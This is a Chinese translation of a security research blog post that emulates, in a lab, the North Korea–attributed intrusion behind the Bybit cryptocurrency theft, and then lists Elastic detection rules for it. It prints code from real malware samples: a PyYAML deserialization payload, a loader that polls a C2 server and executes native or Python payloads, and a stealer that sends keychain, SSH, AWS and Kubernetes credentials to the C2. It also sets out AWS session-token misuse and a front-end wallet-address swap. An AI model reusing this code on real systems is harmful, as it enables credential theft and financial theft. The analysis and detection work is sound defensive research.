Bit ByBit——模拟朝鲜最大的加密货币盗窃案

admin 2025年5月7日16:10:47评论4 views字数 19429阅读64分45秒阅读模式
Bit ByBit——模拟朝鲜最大的加密货币盗窃案
Bit ByBit——模拟朝鲜最大的加密货币盗窃案

关键要点

这项研究的主要结论:

  • PyYAML 被反序列化为初始访问向量

  • 此次攻击利用了会话令牌滥用和 AWS 横向移动

  • 静态站点供应链篡改

  • 基于 Docker 的 macOS 隐身技术

  • 与 Elastic 的端到端检测关联

介绍

2025年2月21日,约40万枚以太币从业内最大的加密货币交易所之一ByBit消失,震惊了整个加密货币世界。据信,这起骇人听闻的盗窃案背后是朝鲜精锐的网络攻击部队TraderTraitor。TraderTraitor利用与多重签名钱包平台Safe{Wallet}的可靠供应商关系,将一笔普通交易变成了价值数十亿美元的盗窃案。供应链攻击已成为朝鲜网络战略的标志性特征,自2017年以来,该政权已窃取超过60亿美元的加密货币。在本文中,我们将剖析此次攻击,在受控环境中仔细模拟其攻击策略,并提供实用经验,以帮助您利用Elastic的产品和功能加强网络安全防御。

我们对此威胁的模拟基于Sygnia、Mandiant/SAFE、SlowMist和Unit42发布的研究。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

事件年表

如果您是想了解技术模拟细节,请直接跳过。但为了提供背景信息,并澄清官方报道的内容,我们整理了一份事件的大致时间线,以便我们根据上述研究做出假设。

  • 2025 年 2 月 2 日– 基础设施设置

攻击者通过 Namecheap 注册了域名 getstockprice[.]com。该基础设施随后被用作初始访问载荷中的 C2 端点。

  • 2025年2月4日- 初始入侵

开发人员1的macOS工作站在执行恶意Python应用程序后遭到入侵。该应用程序包含与Docker相关的逻辑,并引用了攻击者的域名。文件路径(~/Downloads/)和恶意软件行为表明存在社会工程攻击(可能通过Telegram或Discord进行,与过去的REF7001和UNC4899漏洞一致)。

  • 2025 年 2 月 5 日——AWS 入侵开始

攻击者使用 Developer1 的活动 AWS 会话令牌成功访问 Safe{Wallet} 的 AWS 环境。攻击者尝试(未成功)向 Developer1 的 IAM 用户注册他们自己的虚拟 MFA 设备,这表明存在持久性尝试。

2月5日至17日:AWS环境中开始侦察活动。在此期间,攻击者可能采取了枚举IAM角色、S3存储桶和其他云资产的行动。

  • 2025 年 2 月 17 日– AWS 命令和控制活动

已确认在 AWS 中观察到 C2 流量。这标志着攻击已从被动侦察转向主动发起。

  • 2025 年 2 月 19 日- Web 应用程序篡改

Wayback Machine 捕获的 app.safe.global(Safe{Wallet} 静态托管的 Next.js Web 应用)快照显示了恶意 JavaScript 的存在。该有效载荷旨在检测 Bybit 多重签名交易并动态修改,从而将资金重定向到攻击者的钱包。

  • 2025 年 2 月 21 日– 执行和清理

该漏洞交易是通过受损的 Safe{Wallet} 前端针对 Bybit 执行的。

新的 Wayback Machine 快照确认 JavaScript 有效负载已被删除 - 表明攻击者在执行后手动清除了它。

Bybit 盗窃交易已完成。约 40 万 ETH 被盗。Sygnia 和其他机构的后续分析证实,Bybit 基础设施并未直接受到攻击——Safe{Wallet} 是唯一的故障点。

模拟假设

初始社会工程学向量:攻击者利用社会工程学攻击了 Developer1,导致其执行了恶意 Python 脚本。该社会工程学攻击的具体细节(例如具体消息传递方式、模拟技术或所使用的通信平台)目前尚不清楚。

加载器和第二阶段有效载荷:恶意 Python 脚本执行了第二阶段加载器。尽管初始访问 Python 应用程序的特性一致,但目前尚不清楚该加载器及其后续有效载荷是否与 Unit42 报告中详述的一致。

安全的应用程序结构和工作流程:受感染的应用程序(app.global.safe)似乎是一个静态托管在 AWS S3 中的 Next.js 应用程序。然而,其具体路由、组件、开发流程、版本控制方法和生产部署工作流程等具体细节尚不清楚。

JavaScript 有效负载部署:虽然攻击者将恶意 JavaScript 注入了 Safe{Wallet} 应用程序,但尚不清楚这是否涉及重建和重新部署整个应用程序,还是仅仅覆盖/修改特定的 JavaScript 文件。

AWS IAM 和身份管理详情:关于 Developer1 在 AWS 中的 IAM 权限、角色和策略配置的详细信息尚不清楚。此外,Safe{Wallet} 是否使用了 AWS IAM Identity Center 或其他身份管理解决方案仍不清楚。

AWS 会话令牌检索和使用:虽然报告证实攻击者使用了临时 AWS 会话令牌,但有关 Developer1 最初如何检索这些令牌(例如通过 AWS SSO、GetSessionToken或特定的 MFA 配置)以及随后如何存储或使用它们(例如环境变量、AWS 配置文件、自定义脚本)的详细信息尚不清楚。

AWS 枚举和利用技术:2025 年 2 月 5 日至 2 月 17 日期间,攻击者在 AWS 环境内执行的具体工具、枚举方法、AWS API 调用和具体操作仍未公开。

AWS 持久性机制:尽管有迹象表明 AWS 基础设施内可能存在持久性(例如,通过 EC2 实例入侵),但并未提供包括工具、策略或持久性方法在内的明确细节。

攻击概述

针对加密生态系统内的公司进行攻击屡见不鲜。朝鲜不断瞄准这些公司,正是因为加密货币相对匿名且去中心化的特性,使其得以逃避全球金融制裁。朝鲜的攻击性网络组织擅长识别和利用漏洞,造成了数十亿美元的损失。

此次入侵始于针对Safe{Wallet}(ByBit 值得信赖的多重签名钱包提供商)开发人员 MacOS 工作站的攻击。初始访问涉及社会工程学,根据以往的攻击活动,攻击者可能通过 LinkedIn、Telegram 或 Discord 等平台联系开发人员,并诱骗他们下载一个包含加密主题 Python 应用程序的存档文件——这是朝鲜偏爱的初始访问程序。该 Python 应用程序还包含一个可在特权容器内运行的 Docker 版本。在开发人员不知情的情况下,这个看似无害的应用程序使朝鲜操作者能够利用 PyYAML 库中的远程代码执行 (RCE)漏洞,从而提供代码执行能力,并最终控制主机系统。

在获得对开发人员设备的初始访问权限后,攻击者部署了MythicC2的Poseidon 代理,这是一个基于 Golang 的强大有效载荷,可在 macOS 环境中提供高级隐身和广泛的后利用功能。攻击者随后可能进行了侦察,发现了开发人员对 Safe{Wallet} AWS 环境的访问权限,以及通过多因素身份验证 (MFA) 保护的临时 AWS 用户会话令牌的使用情况。攻击者利用开发人员的 AWS 访问密钥 ID、密钥和临时会话令牌,在大约 24 小时内通过身份验证进入 Safe{Wallet} 的 AWS 环境,充分利用了会话令牌 12 小时的有效期。

为了确保对 AWS 环境的持续访问,攻击者尝试注册自己的 MFA 设备。然而,AWS 临时会话令牌不允许在没有MFA 身份验证上下文的情况下进行 IAM API 调用,导致此次尝试失败。在这次小挫折之后,攻击者枚举了 AWS 环境,最终发现了一个托管 Safe{Wallet} 静态 Next.js 用户界面的 S3 存储桶。

攻击者可能下载了此 Next.js 应用程序的捆绑代码,花费近两周时间分析其功能,然后将恶意 JavaScript 注入主 JS 文件并覆盖 S3 存储桶中托管的合法版本。恶意 JavaScript 代码仅在从 Bybit 冷钱包地址和攻击者控制的地址发起的交易中激活。通过插入硬编码参数,该脚本绕过了交易验证检查和数字签名验证,从而有效地欺骗了那些隐式信任 Safe{Wallet} 接口的 ByBit 钱包审批者。

此后不久,朝鲜发起了一笔欺诈性交易,触发恶意脚本篡改交易详情。这种操作很可能误导了钱包签名者,使其同意了这笔非法转账,从而使朝鲜特工控制了约 40 万 ETH。这些被盗资金随后被洗白到攻击者控制的钱包中。

我们选择在 Next.js 应用程序被攻陷后结束我们的研究和行为模拟。因此,我们不会深入研究其他几篇研究论文中讨论过的区块链技术,例如 ETH 智能合约、合约地址和扫描 ETH 调用。

模拟攻击

为了真正理解此次漏洞,我们决定在受控的实验室环境中模拟整个攻击链。作为 Elastic 的安全研究人员,我们希望追溯攻击者的足迹,了解此次攻击操作在每个阶段是如何展开的:从代码执行到 AWS 会话劫持,再到基于浏览器的交易操纵。

这次亲身模拟有双重目的。首先,它使我们能够从细粒度的技术层面分析此次攻击,从而发现切实可行的检测和预防机会。其次,它让我们有机会端到端地测试 Elastic 的功能——看看我们的平台是否不仅能够检测到攻击的每个阶段,还能将它们关联成一个连贯的叙事,以便防御者能够采取行动。

MacOS 端点入侵

感谢Unit42提供的详细报告,更重要的是,他们将恢复的样本上传至 VirusTotal,我们得以使用在野外观察到的实际有效载荷,端到端地模拟此次攻击。其中包括:

  • PyYAML 反序列化有效载荷

  • Python加载脚本

  • Python窃取脚本

恶意 Python 应用程序

我们在模拟中使用的初始访问 Python 应用程序与SlowMist重点介绍和分享的样本一致,并与 Mandiant 针对 SAFE 开发人员入侵事件的事件响应结果相符。该应用程序的目录结构也与 Unit42 在其报告中显示的应用程序目录结构相符。攻击者从 GitHub 上 fork 了一个合法的股票交易 Python 项目,并在名为 的 Python 脚本中对其进行了后门操作data_fetcher.py。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

Python 应用程序目录结构

该应用程序利用Streamlit来执行app.py,它导入了脚本data_fetcher.py。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

Python 应用程序 README.txt 用法

该data_fetcher.py脚本包含旨在访问攻击者控制的域的恶意功能。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

具有 yaml.load 功能的 data_fetcher.py 类

该脚本默认会获取有效的股票市场相关数据。然而,根据特定条件,受攻击者控制的服务器可能会返回恶意的 YAML 有效载荷。使用 PyYAML 的不安全加载器 ( yaml.load()) 进行评估时,此有效载荷允许任意 Python 对象反序列化,从而导致远程代码执行 (RCE)。

PyYAML 反序列化有效载荷

(VT哈希47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f:)

我们通过在 Python+Flask Web 应用程序上托管 YAML 反序列化 Payload 来重现此恶意设置,并使用 PythonAnywhere 模拟攻击者的基础架构。我们更新了data_fetcher.py脚本中的恶意 URL,使其指向我们托管在 PythonAnywhere 上的 YAML Payload。

当 PyYAML 加载并执行恶意 YAML 负载时,它会执行以下操作:

首先,它会Public在受害者的主目录中创建一个名为的目录。

directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
    os.makedirs(directory)

__init__.py接下来,它解码并将 base64 编码的 Python 加载器脚本写入目录中命名的新文件中Public。

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb"asf:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

最后,它__init__.py在后台静默执行新创建的脚本,启动攻击的第二阶段。

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)

Python加载脚本

(VT哈希937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79:)

为了避免留下法医证据,加载程序__init__.py在执行后首先删除其文件(),只让其在内存中运行。

directory = os.path.join(home_directory, "Public")

if not os.path.exists(directory):
        os.makedirs(directory)

try:
        body_path = os.path.join(directory, "__init__.py")
        os.remove(body_path)

该加载程序的主要目标是与命令和控制 (C2) 服务器建立持续通信。它会收集基本系统信息(例如操作系统类型、架构和系统版本),并通过向硬编码的 /club/fb/status URL 端点发送 HTTP POST 请求,将这些详细信息发送给 C2 服务器。

params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
    }
while True:
try:
            response = requests.post(url, verify=False, data = params, timeout=180)

根据服务器的响应(ret值),加载器决定其下一步操作。

ret == 0:

脚本休眠 20 秒并继续轮询。

ifres['ret'] == 0:
    time.sleep(20)
continue

ret == 1:

服务器响应包含一个 Base64 编码的有效载荷。脚本会解码此有效载荷,并将其写入一个文件(init.dll在 Windows 上或init其他情况下命名为 ),然后使用 动态加载库ctypes.cdll.LoadLibrary,从而使有效载荷作为本机二进制文件运行。

elif res['ret'] == 1:
if platform.system() == "Windows":
        body_path = os.path.join(directory, "init.dll")
else:
        body_path = os.path.join(directory, "init")
        with open(body_path, "wb"asf:
            binData = base64.b64decode(res["content"])
f.write(binData)
            os.environ["X_DATABASE_NAME"] = ""
            ctypes.cdll.LoadLibrary(body_path)

ret == 2:

该脚本将Base64内容解码为Python源代码,然后使用Pythonexec()函数执行,从而允许运行任意Python代码。

elif res['ret'] == 2:
    srcData = base64.b64decode(res["content"])
    exec(srcData)

ret == 3:

该脚本将二进制有效载荷(dockerd)和二进制配置文件(docker-init)解码为两个独立的文件,并将其权限设置为可执行文件,然后尝试将它们作为新进程运行,并将配置文件作为参数传递给二进制有效载荷。执行二进制有效载荷后,它会删除其可执行文件,并将配置文件保留在磁盘上以供参考。

elif res['ret'] == 3:
    path1 = os.path.join(directory, "dockerd")
    with open(path1, "wb"asf:
        binData = base64.b64decode(res["content"])
f.write(binData)

    path2 = os.path.join(directory, "docker-init")
    with open(path2, "wb"asf:
        binData = base64.b64decode(res["param"])
f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
    except:
        pass

    os.remove(path1)

ret == 9:

脚本跳出轮询循环,终止进一步的操作。

elif res['ret'] == 9:
break

处理完任何命令后,脚本将继续轮询来自 C2 服务器的进一步指令。

Python加载器模拟

我们的目标是测试加载程序中的每个命令选项,以便更好地了解正在发生的事情,收集相关的遥测数据,并对其进行分析,以便为我们的端点和 SIEM 构建强大的检测。

Ret == 1:将库写入磁盘,加载并删除 Dylib

我们为此选项使用的有效载荷是编译为共享库的Poseidon.dylib有效载荷( )。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

Mythic C2 有效载荷构建器

然后,我们对二进制文件进行 base64 编码,并能够在我们的 C2 服务器中对该 base64 编码的有效负载的路径进行硬编码,以便在测试此特定的加载程序命令时提供服务。

base64poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD"  # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions

一旦我们收到 Poseidon 有效载荷回调到我们的Mythic C2,我们就能够使用 Poseidon 提供的各种不同方法检索凭据。

  • 选项 1:下载命令- 访问文件,读取内容,并将数据发送回 C2。

  • 选项 2:getenv 命令- 读取用户环境变量并将内容发送回 C2。

  • 选项 3:jsimport和jsimport_call命令 - 将 JXA 脚本导入内存,然后调用 JXA 脚本中的方法从文件中检索凭据并返回内容。

Ret == 2:在进程内存中接收并执行任意 Python 代码

(VT哈希e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7:)

加载器脚本允许在内存中运行任意 Python 代码或脚本。Unit42 的博客提供了一个 Python 脚本,他们观察到朝鲜通过此返回值执行了该脚本。该脚本收集了大量数据。这些数据经过异或编码后,通过 POST 请求发送回 C2 服务器。为了进行模拟,只需添加我们的 C2 URL 以及 C2 服务器中定义的相应路由,然后使用 base64 编码对脚本进行编码,并在测试该选项时将其路径硬编码到服务器中。

defget_info():
global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')

# get xor key
whileTrue:
ifnot get_key():
break

        base_info()
        send_directory('home/all''', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library''Keychains''login.keychain-db'))
        send_directory('home/ssh''ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws''aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube''kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud''gcloud', os.path.join(home_dir, '.config''gcloud'), True)
        finalize()
break

Ret == 3:将二进制有效载荷和二进制配置写入磁盘,执行有效载荷并删除文件

对于 ret == 3 选项,我们使用了标准的 Poseidon 二进制有效载荷和一个包含加载器脚本中指定的二进制数据的“配置文件”。然后,我们像上面的 ret == 1 选项一样,对二进制文件和配置文件进行 base64 编码,并将其路径硬编码到我们的 C2 服务器中,以便在测试此命令时提供服务。与上面的 ret == 1 选项相同,我们能够使用相同的命令从目标系统收集凭据。

C2基础设施

我们创建了一个非常简单和小型的 C2 服务器,用 Python+Flask 构建,旨在监听我们 Kali Linux VM 上的指定端口并评估传入的请求,根据我们希望测试的路由和返回值做出适当的响应。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

自定义 Python+Flask C2 服务器

我们还使用了开源Mythic C2框架,以便于创建和管理我们使用的 Poseidon 有效载荷。Mythic 是一个开源 C2 框架,由SpecterOps的Cody Thomas创建和维护。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

Mythic C2 主动回调交互式代理窗口

恶意 Python 应用程序:Docker 版本

我们还探索了该恶意 Python 应用程序的 Docker 版本。该版本被打包在一个最小 Python Docker 容器(python:3.12.2-slim)中,并以特权模式运行,从而赋予其访问主机资源的能力。

由于 Apple 的端点安全框架 (ESF) 缺乏自检容器化进程的能力,容器化应用程序在 macOS 上造成了遥测和检测盲点。虽然 ESF 和端点检测解决方案仍然可以观察到受信任的 Docker 进程访问敏感主机文件(例如 SSH 密钥、AWS 凭证或用户配置数据),但这些操作通常符合标准的开发人员工作流程。因此,安全工具不太可能仔细检查或触发容器化活动的警报,从而为攻击者在 Docker 环境中进行操作提供了更高的隐蔽性。

这凸显了额外监控(例如OSQuery和Docker日志文件收集)的必要性,以补充标准的 macOS 端点防御。Elastic通过 Elastic Agent 的数据集成,除了提供端点保护功能外,还提供OSQuery和Docker日志文件收集功能。

MacOS 仿真结论

我们的模拟使用真实世界的有效载荷端到端地重现了针对 SAFE 开发人员的 macOS 系统的攻击。

恶意 Python 应用程序:

我们首先复制了 Mandiant 的调查结果和 Unit42 的报告中描述的恶意 Python 应用程序。攻击者 fork 了一个合法的开源应用程序,并在其中嵌入了 RCE 访问权限data_fetcher.py。该脚本向攻击者控制的服务器发出出站请求,并有条件地获取恶意 YAML 文件。攻击者使用yaml.load()带有不安全加载器的 PyYAML,通过反序列化触发了任意代码执行。

PyYAML Payload 反序列化导致 Python Loader 脚本执行:

YAML 有效载荷写入了一个 base64 编码的第二阶段加载器,~/Public/__init__.py并在一个分离的进程中执行。我们使用托管在 PythonAnywhere 上的基于 Flask 的暂存服务器模拟了这一流程。

Python加载器执行和C2交互:

加载程序启动后,会删除磁盘上的文件,并向我们模拟的 C2 发出信号,等待执行任务。根据 C2 的响应代码(ret),我们测试了以下操作:

  • ret == 1:加载程序解码了 Poseidon 有效载荷(编译为.dylib)并使用执行它ctypes.cdll.LoadLibrary(),从而从磁盘执行本机代码。

  • ret == 2:加载程序执行了内存中的 Python 窃取程序,与 Unit42 共享的脚本匹配。该脚本收集系统、用户、浏览器和凭证数据,并通过 XOR 编码的 POST 请求进行窃取。

  • ret == 3:加载程序将 Poseidon 二进制文件和单独的二进制配置文件写入磁盘,使用配置作为参数执行二进制文件,然后删除有效载荷。

  • ret == 9:加载器终止其轮询循环。

数据收集:枢轴前侦察和凭证访问:

在我们的ret == 2测试中,Python 窃取程序收集了:

  • macOS 系统信息(platform、os、user)

  • Chrome 用户数据(书签、Cookie、登录数据等)

  • SSH 私钥(~/.ssh)

  • AWS 凭证(~/.aws/credentials)

  • macOS 钥匙串文件(login.keychain-db)

  • GCP/Kube 配置文件来自.config/

这模拟了云攻击之前的预枢转数据收集,并反映了朝鲜参与者如何从开发人员的本地环境中获取 AWS 凭证。

利用有效的 AWS 凭证,威胁行为者随后转向云环境,启动入侵的第二阶段。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

AWS云入侵执行流程

AWS 云入侵

先决条件和设置

为了模拟此次攻击的 AWS 阶段,我们首先利用 Terraform 搭建了必要的基础设施。其中包括创建一个 IAM 用户(开发者),并为其设置一个过于宽松的 IAM 策略,授予其对 S3、IAM 和 STS API 的访问权限。然后,我们将本地构建的 Next.js 应用程序推送到 S3 存储桶,并确认站点已上线,模拟了一个简单的 Safe{Wallet} 前端。

我们的选择Next.js是基于原始 S3 bucket 静态站点路径 -https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js

在注入任何恶意代码之前,我们通过使用已知目标钱包地址执行测试交易来验证网站的完整性,以确保应用程序按预期响应。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

通过自定义前端静态站点进行交易

临时会话令牌检索

在开发人员的 macOS 工作站上进行初始访问和入侵后活动之后,早期的假设集中在攻击者从默认 AWS 配置位置(例如~/.aws或从用户环境变量)检索凭证。Unit42 的博客后来证实,Python 窃取脚本的目标是 AWS 文件。这些位置通常存储标准开发工作流程中使用的长期 IAM 凭证或临时会话令牌。然而,根据公开报告,这起具体的入侵事件涉及 AWS 用户会话令牌,而非长期 IAM 凭证。在我们的模拟中,作为开发人员,我们将虚拟 MFA 设备添加到我们的 IAM 用户,启用它,然后检索我们的用户会话令牌并将凭证导出到我们的环境。请注意,在我们的 Kali Linux 终端节点上,我们利用 ExpressVPN(与攻击者一样)进行任何 AWS API 调用或与开发人员机器的交互。

怀疑开发人员通过GetSessionToken API 操作或使用 AWS CLI 通过 AWS Single Sign-On (SSO) 登录获取了临时 AWS 凭证。这两种方法都会导致短期凭证被缓存在本地,并可用于 CLI 或基于 SDK 的交互。这些临时凭证很可能被缓存在~/.aws文件中,或作为 macOS 系统上的环境变量导出。

在GetSessionToken场景中,开发人员将执行如下命令:

aws stsget-session-token --serial-number"$ARN" --token-code "$FINAL_CODE"  --duration-seconds 43200 --profile"$AWS_PROFILE" --output json

在基于 SSO 的身份验证场景中,开发人员可能运行过:

aws configure sso 
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`

任何一种方法都会导致临时凭证(访问密钥、密钥和会话令牌)被保存在~/.aws文件中,并提供给已配置的 AWS 配置文件使用。除非被覆盖,否则这些凭证会被 AWS CLI 等工具或 Boto3 等 SDK 自动使用。无论哪种情况,如果恶意软件或攻击者能够访问开发人员的 macOS 系统,那么这些凭证就很容易从环境变量、AWS 配置缓存或凭证文件中被窃取。

为了获取 Developer1 的这些凭证,我们创建了一个自定义脚本,以实现快速自动化。该脚本在 AWS 中创建了一个虚拟 MFA 设备,并向 Developer1 用户注册了该设备,然后GetSessionToken从 STS 调用,将返回的临时用户会话凭证作为环境变量添加到我们的 macOS 端点,如下所示。

MFA 设备注册尝试

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

为开发人员注册我们的 MFA 设备并通过 shellscript 检索用户会话令牌

这里的一个关键假设是,开发人员正在使用已启用 MFA 的用户会话,无论是直接使用还是承担自定义管理的 IAM 角色。我们的假设源于被泄露的凭证材料——AWS 临时用户会话令牌,这些令牌并非从控制台获取,而是按需从 STS 请求。GetSessionToken默认情况下,从 SSO 返回的临时凭证会在一定小时数后过期,而带有 ASIA* 前缀的会话令牌则表明攻击者获取了一个短暂但影响深远的凭证。这与之前朝鲜攻击中发现的行为一致,在这些攻击中,攻击者提取并重用了 Kubernetes、GCP 和 AWS 的凭证和配置。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

GetSessionToken 调用后 AWS 用户会话令牌的环境变量输出

在 Kali 上假设被盗用的身份

一旦收集到 AWS 会话令牌,攻击者很可能会将其存储在 Kali Linux 系统中,存储在标准 AWS 凭证位置(例如,~/.aws/credentials或作为环境变量),也可能存储在自定义文件结构中,具体取决于所使用的工具。虽然 AWS CLI 默认读取~/.aws/credentials环境变量,但利用 Boto3 的 Python 脚本可以配置为从几乎任何文件或路径获取凭证。鉴于入侵后活动的速度和精确度,攻击者很可能使用了 AWS CLI、直接调用 Boto3 SDK 或包装 CLI 命令的 Shell 脚本——所有这些工具都提供了便利性和内置的请求签名。

攻击者使用 SigV4 手动签名 AWS API 请求的可能性较小,因为这会不必要地增加速度和操作复杂性。同样值得注意的是,目前还没有公开的博客披露哪个用户代理字符串与会话令牌的使用相关(例如 aws-cli、botocore 等),这使得攻击者使用的具体工具存在不确定性。即便如此,考虑到 DRPK 对 Python 的依赖以及攻击速度,使用 CLI 或 SDK 仍然是最合理的假设。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

MythicC2 getenv 命令输出

注意:在 Unit 42 发布有关 RN Loader 功能的博客之前,我们已使用 Poseidon 有效载荷进行了模拟。

需要澄清的是,AWS 身份验证模型中存在一个细微差别:只要会话最初是通过 MFA 建立的,使用会话令牌本身并不会阻止对 IAM API 操作的访问,即使是像CreateVirtualMFADevice这样的操作。在我们的模拟中,我们尝试使用窃取的包含 MFA 上下文的会话令牌来复制此行为。有趣的是,我们注册其他 MFA 设备的尝试失败了,这表明可能存在其他安全措施(例如显式策略约束)阻止通过会话令牌进行 MFA 注册,或者此行为的细节仍然过于模糊,导致我们错误地模仿了该行为。虽然确切的失败原因尚不清楚,但此行为值得深入调查与会话绑定操作相关的 IAM 策略和身份验证上下文。

S3 资产枚举

获取凭证后,攻击者可能会枚举可访问的 AWS 服务。在本例中,Amazon S3 是一个明显的目标。攻击者会列出所有区域中受感染身份可用的存储桶,并找到与 Safe{Wallet} 关联的面向公众的存储桶,该存储桶托管了用于交易处理的前端 Next.js 应用程序。

由于 S3 存储桶负责为 提供内容,我们推测攻击者知道该存储桶的存在app.safe[.]global,这意味着无需身份验证即可公开浏览或下载该存储桶的结构和资产。在我们的模拟中,我们通过同步用于静态网站托管的公共 S3 存储桶中的资产来验证类似的行为。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

包含静态托管的前端静态站点资产的存储桶

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

目标存储桶中静态托管的前端静态站点资产

Next.js 应用遭恶意代码覆盖

发现存储桶后,攻击者可能使用 aws s3 sync命令下载了所有内容,其中包括捆绑的前端 JavaScript 资产。在 2025 年 2 月 5 日至 2 月 19 日期间,他们似乎专注于修改这些资产,具体来说,是诸如 和相关路由 之类的文件,这些文件在构建过程中main.<HASH>.js输出并存储在目录下。这些捆绑文件包含已转译的应用程序逻辑,根据 Sygnia 的取证报告,一个名为 的文件是恶意代码的主要注入点。Next.js_next/static/chunks/pages/_app-52c9031bfa03da47.js

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

利用 AWS CLI 同步命令下载存储桶内容

Next.js 应用程序在构建时,通常会将其静态生成的资产存储在next/static/目录下,JavaScript 代码块会组织到类似 的文件夹中/chunks/pages/。在本例中,攻击者可能会格式化并反混淆 JavaScript 包以了解其结构,然后对应用程序逻辑进行逆向工程。在确定负责处理用户输入钱包地址的代码后,他们注入了有效载荷。此有效载荷引入了条件逻辑:如果输入的钱包地址与多个已知目标地址之一匹配,它会悄悄地将目标地址替换为朝鲜控制的地址,从而在用户不知情的情况下重定向资金。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案
Bit ByBit——模拟朝鲜最大的加密货币盗窃案

修改我们自己的应用程序的非格式化捆绑静态站点代码

在我们的模拟中,我们通过修改TransactionForm.js组件来复现此行为,以检查输入的收件人地址是否与特定值匹配。如果匹配,则将该地址替换为攻击者控制的钱包。虽然这并不能反映实际攻击中使用的智能合约操纵或委托调用的复杂性,但它可以作为一种概念行为,说明受感染的前端如何悄无声息地重定向加密货币交易。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

恶意代码上传后,我们的静态站点前端脚本弹出通知目标钱包地址条件已满足

静态站点篡改影响和缺失安全控制

这种前端篡改在 Web3 环境中尤其危险,因为去中心化应用程序 (dApp) 通常依赖静态客户端逻辑来处理交易。通过修改 S3 存储桶提供的 JavaScript 包,攻击者无需破坏后端 API 或智能合约逻辑即可破坏应用程序的行为。

我们假设在攻击期间,诸如S3 对象锁、内容安全策略 (CSP) 或子资源完整性 (SRI) 标头之类的保护措施要么未被使用,要么未被强制执行。由于缺少这些控制措施,攻击者可以在不触发浏览器或后端完整性验证的情况下修改静态前端代码,从而使此类篡改行为更容易被检测到。

成功的模拟(或现实世界的事件响应)并不止于识别攻击者的行为。它还需要加强防御,以防止类似的技术再次得逞。下文概述了关键检测、安全控制、缓解策略和 Elastic 功能,它们可以帮助降低风险,并限制暴露于本次模拟以及 Safe{Wallet} 入侵等野外 (ItW) 攻击活动中所使用的策略。

注意:这些检测会得到积极维护和定期调整,并且可能会随着时间的推移而改进。根据您的环境,可能需要进行额外的调整以最大限度地减少误报并降低噪音。

Elastic 的 SIEM 检测和端点预防规则

一旦我们通过模拟了解对手的行为并实施安全控制来强化环境,探索检测机会和能力以实时识别和应对这些威胁也同样重要。

一旦我们通过模拟了解对手的行为并实施安全控制来强化环境,探索检测机会和能力以实时识别和应对这些威胁也同样重要。

MacOS 端点行为预防规则

Python PyYAML 反序列化有效载荷

规则名称:“ Python 脚本删除和执行”:检测何时创建或修改 Python 脚本,然后立即由同一个 Python 进程执行该脚本。

Python加载脚本

规则名称:“自删除 Python 脚本”:检测 Python 脚本何时执行并且该脚本文件是否被同一个 Python 进程立即删除。

规则名称:“自删除的 Python 脚本出站连接”:检测 Python 脚本何时被删除,并且同一 Python 进程随后不久发生出站网络连接。

  • Python 加载器脚本 Ret == 1

规则名称:“通过 Python 创建可疑的可执行文件”:检测何时在可疑或不寻常的目录中由 Python 创建或修改可执行文件。

规则名称:“ Python 库加载和删除”:检测位于用户主目录中的共享库何时被 Python 加载,随后同一 Python 进程不久后删除该库。

规则名称:“通过 Python 加载异常库”:检测何时由 Python 加载共享库,该共享库不表示其自身为 .dylib 或 .so 文件并且位于用户主目录中。

规则名称:“通过 ScriptingAdditions 进行内存中 JXA 执行”:检测内存中 JXA 脚本的加载和执行。

  • Python 加载器脚本 Ret == 2

规则名称:“潜在的 Python 窃取者”:检测 Python 脚本何时执行,随后同一 Python 进程至少尝试三次访问敏感文件。

规则名称:“自删除的 Python 脚本访问敏感文件”:检测 Python 脚本何时被删除,并且敏感文件何时被同一个 Python 进程访问。

